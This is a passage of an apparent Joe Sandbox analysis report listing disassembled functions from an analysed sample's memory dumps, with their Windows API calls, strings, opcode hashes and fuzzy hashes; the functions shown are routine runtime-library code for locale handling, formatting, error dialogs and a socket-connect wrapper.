                                                    • Instruction Fuzzy Hash: 6A51BD36B09A1286DB34CB16E444A793395FB48FA8F1081B2DA1B43768DF39ED71C740
                                                    Function 00007FFE1A494060 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 144COMMON
                                                    Download Yara Rule
                                                    APIs
                                                      • Part of subcall function 00007FFE1A4969C0: abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,00007FFE1A4925CE), ref: 00007FFE1A4969CE
                                                    • abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFE1A494157
                                                    • __FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 00007FFE1A494167
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3019088524.00007FFE1A491000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE1A490000, based on PE: true
                                                    • Associated: 00000001.00000002.3019066108.00007FFE1A490000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                    • Associated: 00000001.00000002.3019117543.00007FFE1A4A1000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                    • Associated: 00000001.00000002.3019139929.00007FFE1A4A6000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                    • Associated: 00000001.00000002.3019163495.00007FFE1A4A7000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ffe1a490000_file.jbxd
                                                    Similarity
                                                    • API ID: Frameabort$EmptyHandler3::StateUnwind
                                                    • String ID: csm$csm
                                                    • API String ID: 4108983575-3733052814
                                                    • Opcode ID: d96c539858820a31a9c1340fe1861477bc26c032fcc487563b75466d3052f7d1
                                                    • Instruction ID: 04ce3b310a5c0c71ee30c119148aef7f7599a9b93ea5b33f1b453a39719025a7
                                                    • Opcode Fuzzy Hash: d96c539858820a31a9c1340fe1861477bc26c032fcc487563b75466d3052f7d1
                                                    • Instruction Fuzzy Hash: 15514436A08B4286EB748B16D44427976A0FB59FA5F1442F7DA9E47BA6CF3CE470C700
                                                    Function 00007FFDFF1C7CC4 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 97libraryloaderCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • CompareStringW.API-MS-WIN-CORE-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,00007FFDFF1C96D7), ref: 00007FFDFF1C7D9B
                                                      • Part of subcall function 00007FFDFF16FD08: LoadLibraryExW.API-MS-WIN-CORE-LIBRARYLOADER-L1-1-0(?,?,?,00007FFDFF1C852F,?,?,?,00007FFDFF1716D7,?,?,?,?,?,00007FFDFF151139), ref: 00007FFDFF16FD4C
                                                    • GetProcAddress.API-MS-WIN-CORE-LIBRARYLOADER-L1-1-0(?,?,?,?,?,?,?,?,?,00007FFDFF1C96D7), ref: 00007FFDFF1C7D42
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3018679128.00007FFDFF151000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FFDFF150000, based on PE: true
                                                    • Associated: 00000001.00000002.3018656665.00007FFDFF150000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018757970.00007FFDFF213000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018794219.00007FFDFF24E000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018816816.00007FFDFF251000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ffdff150000_file.jbxd
                                                    Similarity
                                                    • API ID: AddressCompareLibraryLoadProcString
                                                    • String ID: AreFileApisANSI$CompareStringEx
                                                    • API String ID: 3124070369-3979650549
                                                    • Opcode ID: 53d3100e38a5c5142ad236b4a82f8fd86346edae10976c9a1dc651c719512429
                                                    • Instruction ID: 96eeaaaaa8ee3c71c022c7e2eef46336e6e8f72944d2edc42f2fcd915148d4c7
                                                    • Opcode Fuzzy Hash: 53d3100e38a5c5142ad236b4a82f8fd86346edae10976c9a1dc651c719512429
                                                    • Instruction Fuzzy Hash: 9141A222B08B4586EB208B15E460BBA63A1FB89B94F044335DE7D877DDEF7CE5448740
                                                    Function 00007FFE1A49AAD8 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 93COMMONLIBRARYCODE
                                                    Download Yara Rule
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3019088524.00007FFE1A491000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE1A490000, based on PE: true
                                                    • Associated: 00000001.00000002.3019066108.00007FFE1A490000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                    • Associated: 00000001.00000002.3019117543.00007FFE1A4A1000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                    • Associated: 00000001.00000002.3019139929.00007FFE1A4A6000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                    • Associated: 00000001.00000002.3019163495.00007FFE1A4A7000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ffe1a490000_file.jbxd
                                                    Similarity
                                                    • API ID: NameName::
                                                    • String ID: %lf
                                                    • API String ID: 1333004437-2891890143
                                                    • Opcode ID: ce39b8ddb33b1742c1c733f8d1258caa8bc8f3cdabe38b30e72aebe8897d44a3
                                                    • Instruction ID: 2231a35e0262b991c3f52c9030c9cf0269ae839dc53605db33cc58f3325fd630
                                                    • Opcode Fuzzy Hash: ce39b8ddb33b1742c1c733f8d1258caa8bc8f3cdabe38b30e72aebe8897d44a3
                                                    • Instruction Fuzzy Hash: BF318261B08E9685EA31DF22A8510B9A350BF59FA4F4482F7E95F47671DE2CE1228300
                                                    Function 00007FFDFF156C4C Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 90libraryloaderCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • LCMapStringW.API-MS-WIN-CORE-LOCALIZATION-L1-2-0(?,?,?,?,?,?,?,?,?,00007FFDFF178D60), ref: 00007FFDFF156D6D
                                                    • GetProcAddress.API-MS-WIN-CORE-LIBRARYLOADER-L1-1-0(?,?,?,?,?,?,?,?,?,00007FFDFF178D60), ref: 00007FFDFF156D82
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3018679128.00007FFDFF151000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FFDFF150000, based on PE: true
                                                    • Associated: 00000001.00000002.3018656665.00007FFDFF150000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018757970.00007FFDFF213000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018794219.00007FFDFF24E000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018816816.00007FFDFF251000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ffdff150000_file.jbxd
                                                    Similarity
                                                    • API ID: AddressProcString
                                                    • String ID: LCIDToLocaleName$LCMapStringEx
                                                    • API String ID: 3874510993-3928102921
                                                    • Opcode ID: 21d608e762aa8d5241e270ca3b9f1440e5f0230c6ecd93d51b02b851cecab4fb
                                                    • Instruction ID: c3a738d051cd7d20f1d4a38e20796b3abea266afcc5f99246503f598ceeab78c
                                                    • Opcode Fuzzy Hash: 21d608e762aa8d5241e270ca3b9f1440e5f0230c6ecd93d51b02b851cecab4fb
                                                    • Instruction Fuzzy Hash: BF31C222B08A4186EB208B25E820B6A63A1FB88BD4F044735DD7DC77D9DF3CE9058740
                                                    Function 00007FFDFF1C7E54 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 85libraryloaderCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • GetDateFormatW.API-MS-WIN-CORE-DATETIME-L1-1-0(?,?,?,?,?,?,?,00007FFDFF2078D0,?,?,?,?,?,?,?,?), ref: 00007FFDFF1C7F23
                                                      • Part of subcall function 00007FFDFF16FD08: LoadLibraryExW.API-MS-WIN-CORE-LIBRARYLOADER-L1-1-0(?,?,?,00007FFDFF1C852F,?,?,?,00007FFDFF1716D7,?,?,?,?,?,00007FFDFF151139), ref: 00007FFDFF16FD4C
                                                    • GetProcAddress.API-MS-WIN-CORE-LIBRARYLOADER-L1-1-0(?,?,?,?,?,?,?,00007FFDFF2078D0,?,?,?,?,?,?,?,?), ref: 00007FFDFF1C7ED1
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3018679128.00007FFDFF151000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FFDFF150000, based on PE: true
                                                    • Associated: 00000001.00000002.3018656665.00007FFDFF150000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018757970.00007FFDFF213000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018794219.00007FFDFF24E000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018816816.00007FFDFF251000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ffdff150000_file.jbxd
                                                    Similarity
                                                    • API ID: AddressDateFormatLibraryLoadProc
                                                    • String ID: GetDateFormatEx$GetLocaleInfoEx
                                                    • API String ID: 1758650912-3651929019
                                                    • Opcode ID: d373f0e859db451b96f89b34587a8468e8933e2d536043dcbf54bc6942e71227
                                                    • Instruction ID: 4c351483f1b91c1143b4362835aab6fc65b2249231edac19614f64d8e3b10cb8
                                                    • Opcode Fuzzy Hash: d373f0e859db451b96f89b34587a8468e8933e2d536043dcbf54bc6942e71227
                                                    • Instruction Fuzzy Hash: 6A317262B18B0582EB14CB26E86066967A2BB88BD4F044335DE7DC77E9DF7CE9058704
                                                    Function 00007FFDFF1C8184 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 84libraryloadertimeCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • GetTimeFormatW.API-MS-WIN-CORE-DATETIME-L1-1-0(?,?,?,?,?,?,?,00007FFDFF207972,?,?,?,?,?,?,?,?), ref: 00007FFDFF1C8253
                                                      • Part of subcall function 00007FFDFF16FD08: LoadLibraryExW.API-MS-WIN-CORE-LIBRARYLOADER-L1-1-0(?,?,?,00007FFDFF1C852F,?,?,?,00007FFDFF1716D7,?,?,?,?,?,00007FFDFF151139), ref: 00007FFDFF16FD4C
                                                    • GetProcAddress.API-MS-WIN-CORE-LIBRARYLOADER-L1-1-0(?,?,?,?,?,?,?,00007FFDFF207972,?,?,?,?,?,?,?,?), ref: 00007FFDFF1C8201
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3018679128.00007FFDFF151000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FFDFF150000, based on PE: true
                                                    • Associated: 00000001.00000002.3018656665.00007FFDFF150000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018757970.00007FFDFF213000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018794219.00007FFDFF24E000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018816816.00007FFDFF251000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ffdff150000_file.jbxd
                                                    Similarity
                                                    • API ID: AddressFormatLibraryLoadProcTime
                                                    • String ID: GetLocaleInfoEx$GetTimeFormatEx
                                                    • API String ID: 2567612442-1887218579
                                                    • Opcode ID: b227c6bf583f03f38edef92bd4e379e4bd895ab4223143a4a886188479112374
                                                    • Instruction ID: 18e6ead24b48271aaa7cb7220183157b57fd39b8ecff20c84762cebf436a78e0
                                                    • Opcode Fuzzy Hash: b227c6bf583f03f38edef92bd4e379e4bd895ab4223143a4a886188479112374
                                                    • Instruction Fuzzy Hash: 5E316D62B08B0586EB14CB26A86056A67A1BB89BD4F044335DE7D837E8DF3CE901C704
                                                    Function 00007FF6399B7530 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 81COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • CreateDirectoryW.KERNEL32(00000000,?,00007FF6399B324C,?,?,00007FF6399B3964), ref: 00007FF6399B7642
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3016959860.00007FF6399B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6399B0000, based on PE: true
                                                    • Associated: 00000001.00000002.3016941257.00007FF6399B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017017692.00007FF6399DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017043415.00007FF6399EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017043415.00007FF6399F3000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017080594.00007FF6399F6000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017080594.00007FF639A09000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ff6399b0000_file.jbxd
                                                    Similarity
                                                    • API ID: CreateDirectory
                                                    • String ID: %.*s$%s%c$\
                                                    • API String ID: 4241100979-1685191245
                                                    • Opcode ID: 1156698ca0d33aa8d2468b4f0fdefbfa17a3fd1640f2d1a941dba21d9585616c
                                                    • Instruction ID: 8846fdd1bb4b4233eed4c4826b2616586a46262ca5fd9c71381376cdd8869245
                                                    • Opcode Fuzzy Hash: 1156698ca0d33aa8d2468b4f0fdefbfa17a3fd1640f2d1a941dba21d9585616c
                                                    • Instruction Fuzzy Hash: E131CC21A19AC585EA219F15E8507E66366FF44BE0F484331EE6DC3BCEDE3CD6059B00
                                                    Function 00007FFDFF19A244 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 73COMMONLIBRARYCODE
                                                    Download Yara Rule
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3018679128.00007FFDFF151000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FFDFF150000, based on PE: true
                                                    • Associated: 00000001.00000002.3018656665.00007FFDFF150000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018757970.00007FFDFF213000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018794219.00007FFDFF24E000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018816816.00007FFDFF251000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ffdff150000_file.jbxd
                                                    Similarity
                                                    • API ID: NameName::
                                                    • String ID: %lf
                                                    • API String ID: 1333004437-2891890143
                                                    • Opcode ID: 76b40b984deb1d5d3409520479dc605476c781ddc7659a48f7d22b4eece458df
                                                    • Instruction ID: 464db9407669e0f75d26e658634f164276551d3957822160d55a20540d592676
                                                    • Opcode Fuzzy Hash: 76b40b984deb1d5d3409520479dc605476c781ddc7659a48f7d22b4eece458df
                                                    • Instruction Fuzzy Hash: 74317063B1CB8585EB308F24A460A6977A0FB89B88F844375D9BD8739DCF2CD2058780
                                                    Function 00007FFDFF172018 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 65libraryloaderCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • GetProcAddress.API-MS-WIN-CORE-LIBRARYLOADER-L1-1-0(?,?,?,00007FFDFF171FB3), ref: 00007FFDFF1720A2
                                                    • GetUserDefaultLCID.API-MS-WIN-CORE-LOCALIZATION-L1-2-0(?,?,?,00007FFDFF171FB3), ref: 00007FFDFF1AF15A
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3018679128.00007FFDFF151000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FFDFF150000, based on PE: true
                                                    • Associated: 00000001.00000002.3018656665.00007FFDFF150000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018757970.00007FFDFF213000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018794219.00007FFDFF24E000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018816816.00007FFDFF251000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ffdff150000_file.jbxd
                                                    Similarity
                                                    • API ID: AddressDefaultProcUser
                                                    • String ID: GetUserDefaultLocaleName$LCIDToLocaleName
                                                    • API String ID: 306211784-2335043742
                                                    • Opcode ID: fd065f756cd199fe09b8b20e6f1a915649d8265c93160c0e9aeaa312b6cae046
                                                    • Instruction ID: e1e1dc6a81eb845e1c1c52cff7edbab2c63445b9bee6331399122259aa939224
                                                    • Opcode Fuzzy Hash: fd065f756cd199fe09b8b20e6f1a915649d8265c93160c0e9aeaa312b6cae046
                                                    • Instruction Fuzzy Hash: B4214C52B08A4642FB149715E8309BA23A1AF49BD0F445335DD3DCB7D9EF6DE946C340
                                                    Function 00007FFDFF15288C Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 65libraryloaderCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3018679128.00007FFDFF151000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FFDFF150000, based on PE: true
                                                    • Associated: 00000001.00000002.3018656665.00007FFDFF150000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018757970.00007FFDFF213000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018794219.00007FFDFF24E000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018816816.00007FFDFF251000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ffdff150000_file.jbxd
                                                    Similarity
                                                    • API ID: AddressLocaleProcValid
                                                    • String ID: IsValidLocaleName$LCIDToLocaleName
                                                    • API String ID: 2003423906-1752364312
                                                    • Opcode ID: af4dd28f265cf180873b22be5fc6fcfa97ac4912e5076198db1c03797db92877
                                                    • Instruction ID: 8f4df1f3a14be74e11cb35a6f1754ec53a6f5f1d4637d2c376b69178abfde010
                                                    • Opcode Fuzzy Hash: af4dd28f265cf180873b22be5fc6fcfa97ac4912e5076198db1c03797db92877
                                                    • Instruction Fuzzy Hash: F8217F52F08B4642FB089B59A8309B52391AB89BD0F045335DD3ECB7DDEF6CE9458340
                                                    Function 00007FF6399B25F0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 44windowCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3016959860.00007FF6399B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6399B0000, based on PE: true
                                                    • Associated: 00000001.00000002.3016941257.00007FF6399B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017017692.00007FF6399DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017043415.00007FF6399EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017043415.00007FF6399F3000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017080594.00007FF6399F6000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017080594.00007FF639A09000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ff6399b0000_file.jbxd
                                                    Similarity
                                                    • API ID: Message$ByteCharMultiWide
                                                    • String ID: Error$Error/warning (ANSI fallback)
                                                    • API String ID: 1878133881-653037927
                                                    • Opcode ID: f4c9aea142df8fc367965a88b37001c6795115f60fce42f8f88369c54fa23369
                                                    • Instruction ID: 16e0cd8b1f2bb6fd58d8a27bb4461ba4fa10eaf816b73712c1ced64da12dcc66
                                                    • Opcode Fuzzy Hash: f4c9aea142df8fc367965a88b37001c6795115f60fce42f8f88369c54fa23369
                                                    • Instruction Fuzzy Hash: B2116D72A28B8681FA208F10F491BA97365FF48B84F94513ADA4D8778ADF3DD605DB40
                                                    Function 00007FF6399B2870 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 44windowCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3016959860.00007FF6399B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6399B0000, based on PE: true
                                                    • Associated: 00000001.00000002.3016941257.00007FF6399B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017017692.00007FF6399DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017043415.00007FF6399EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017043415.00007FF6399F3000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017080594.00007FF6399F6000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017080594.00007FF639A09000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ff6399b0000_file.jbxd
                                                    Similarity
                                                    • API ID: Message$ByteCharMultiWide
                                                    • String ID: Error/warning (ANSI fallback)$Warning
                                                    • API String ID: 1878133881-2698358428
                                                    • Opcode ID: bedc3c020f71ec751042cc21f49bee78fdd2451348ef76e59aa444c99166d18b
                                                    • Instruction ID: 559decaf77f2357d81b21f6d0e5b6c65bbe813e5ed0b16b6e83943f70d842585
                                                    • Opcode Fuzzy Hash: bedc3c020f71ec751042cc21f49bee78fdd2451348ef76e59aa444c99166d18b
                                                    • Instruction Fuzzy Hash: 13116072628B8681FA208F10F491BA97365FF44B84F945136DA4D8778ADF3DD605DB40
                                                    Function 00007FFE14634984 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 40COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3018862329.00007FFE14631000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FFE14630000, based on PE: true
                                                    • Associated: 00000001.00000002.3018842963.00007FFE14630000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018885111.00007FFE14638000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018906517.00007FFE14640000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018928348.00007FFE14642000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ffe14630000_file.jbxd
                                                    Similarity
                                                    • API ID: ErrorLast$Err_Eval_Thread$AuditCheckFormatFromLongLong_RestoreSaveSignalsSys_connect
                                                    • String ID: connect_ex$socket.connect
                                                    • API String ID: 3879675179-935070752
                                                    • Opcode ID: 615fd2360326833a6a60dca547207173dd1fa388e9224988211b89f70189991b
                                                    • Instruction ID: 76ce258e82957f3ef4423a64e2a272ab88b13ab132ab98394cca7ca558ac4a19
                                                    • Opcode Fuzzy Hash: 615fd2360326833a6a60dca547207173dd1fa388e9224988211b89f70189991b
                                                    • Instruction Fuzzy Hash: A9110021618FC281E6608B63F8917A663A4FF467E8F441176DA4D47769EE3CD5488B80
                                                    Function 00007FFE1A492630 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 28COMMON
                                                    Download Yara Rule
                                                    APIs
                                                      • Part of subcall function 00007FFE1A4969C0: abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,00007FFE1A4925CE), ref: 00007FFE1A4969CE
                                                    • terminate.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFE1A49266E
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3019088524.00007FFE1A491000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE1A490000, based on PE: true
                                                    • Associated: 00000001.00000002.3019066108.00007FFE1A490000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                    • Associated: 00000001.00000002.3019117543.00007FFE1A4A1000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                    • Associated: 00000001.00000002.3019139929.00007FFE1A4A6000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                    • Associated: 00000001.00000002.3019163495.00007FFE1A4A7000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ffe1a490000_file.jbxd
                                                    Similarity
                                                    • API ID: abortterminate
                                                    • String ID: MOC$RCC$csm
                                                    • API String ID: 661698970-2671469338
                                                    • Opcode ID: e63037d86fd6ed08c01758bd2d278b6a49b1453d2f75febe4acf0c3d16fc865e
                                                    • Instruction ID: a4998b6184a6b00db24269e52f90e8c56120579be00f61737f90a39449736321
                                                    • Opcode Fuzzy Hash: e63037d86fd6ed08c01758bd2d278b6a49b1453d2f75febe4acf0c3d16fc865e
                                                    • Instruction Fuzzy Hash: B2F04F72A18A0682E7705F66E1811787664EB8CFA4F0951F2DB4E06666CF3CD8B0CA41
                                                    Function 00007FFDFF168124 Relevance: 6.3, APIs: 5, Instructions: 81COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • EnterCriticalSection.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,?,?,?,00007FFDFF167EF2), ref: 00007FFDFF168144
                                                    • EnterCriticalSection.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,?,?,?,00007FFDFF167EF2), ref: 00007FFDFF16819A
                                                    • EnterCriticalSection.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,?,?,?,00007FFDFF167EF2), ref: 00007FFDFF168210
                                                    • LeaveCriticalSection.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,?,?,?,00007FFDFF167EF2), ref: 00007FFDFF168226
                                                    • LeaveCriticalSection.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,?,?,?,00007FFDFF167EF2), ref: 00007FFDFF16823F
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3018679128.00007FFDFF151000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FFDFF150000, based on PE: true
                                                    • Associated: 00000001.00000002.3018656665.00007FFDFF150000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018757970.00007FFDFF213000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018794219.00007FFDFF24E000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018816816.00007FFDFF251000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ffdff150000_file.jbxd
                                                    Similarity
                                                    • API ID: CriticalSection$Enter$Leave
                                                    • String ID:
                                                    • API String ID: 2801635615-0
                                                    • Opcode ID: 4100719efe9d854f9b7716aa9e4251e023a1aaaee31d27ad4d348d19ee20d00d
                                                    • Instruction ID: 4bb261cdfa1fd4d49c54da542184f1df5127e41247fa42c9ca0293f967b6a0ae
                                                    • Opcode Fuzzy Hash: 4100719efe9d854f9b7716aa9e4251e023a1aaaee31d27ad4d348d19ee20d00d
                                                    • Instruction Fuzzy Hash: C531B222F18A4682EB008B05A8649796754FF94BE4F19133AD97E8B7E9DF7CE581C304
                                                    Function 00007FFDFF203D74 Relevance: 6.3, APIs: 4, Instructions: 303fileCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3018679128.00007FFDFF151000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FFDFF150000, based on PE: true
                                                    • Associated: 00000001.00000002.3018656665.00007FFDFF150000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018757970.00007FFDFF213000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018794219.00007FFDFF24E000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018816816.00007FFDFF251000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ffdff150000_file.jbxd
                                                    Similarity
                                                    • API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
                                                    • String ID:
                                                    • API String ID: 2112829910-0
                                                    • Opcode ID: 2559a85df2c0037cd417133e683f23b1ba6f00942d0fc49d4df678dcf37673d3
                                                    • Instruction ID: 4f41c513ba127bca8538dcd70071cdab7d22a21413fbaf85ed4916f393071715
                                                    • Opcode Fuzzy Hash: 2559a85df2c0037cd417133e683f23b1ba6f00942d0fc49d4df678dcf37673d3
                                                    • Instruction Fuzzy Hash: E1D1B133B097959AEB11CFA5D4906AC7771EB14798B048236CE6ED7BC9DE38D11AC340
